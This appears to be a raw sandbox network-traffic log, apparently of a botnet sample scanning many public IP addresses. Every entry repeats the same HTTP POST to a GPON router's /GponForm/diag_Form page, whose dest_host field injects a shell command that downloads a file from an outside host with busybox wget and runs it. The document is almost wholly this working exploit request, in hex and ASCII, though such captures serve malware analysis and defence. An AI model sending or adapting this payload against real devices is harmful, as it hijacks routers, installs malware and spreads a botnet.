Apr 14, 2024 04:01:48.359154940 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2128	192.168.2.13	49446	212.148.89.17	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359181881 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2129	192.168.2.13	48724	109.64.1.10	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359188080 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2130	192.168.2.13	33190	37.231.108.76	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359205008 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2131	192.168.2.13	38668	109.236.214.137	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359255075 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2132	192.168.2.13	42462	118.120.219.9	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359256983 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2133	192.168.2.13	35554	37.248.252.98	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359267950 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2134	192.168.2.13	55764	117.212.231.82	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359297037 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2135	192.168.2.13	35634	123.179.221.215	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359312057 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2136	192.168.2.13	37336	178.254.185.37	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359338045 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2137	192.168.2.13	54656	37.238.165.189	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359358072 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2138	192.168.2.13	34998	94.205.222.232	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359407902 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2139	192.168.2.13	56682	212.136.9.164	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359410048 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2140	192.168.2.13	47840	202.21.124.234	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359443903 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2141	192.168.2.13	58492	210.12.116.185	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359447002 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2142	192.168.2.13	39990	117.25.111.59	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359481096 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2143	192.168.2.13	41064	118.247.74.134	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359507084 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2144	192.168.2.13	43464	148.64.119.46	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359513044 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2145	192.168.2.13	59912	5.82.115.241	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359538078 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2146	192.168.2.13	49082	42.164.97.80	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359540939 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2147	192.168.2.13	44108	118.112.201.52	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359571934 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2148	192.168.2.13	35906	79.72.55.231	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359574080 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2149	192.168.2.13	55724	178.151.241.71	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359579086 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2150	192.168.2.13	39702	94.249.194.43	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359608889 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2151	192.168.2.13	37210	210.61.76.28	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359633923 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2152	192.168.2.13	49364	123.44.93.138	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359680891 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

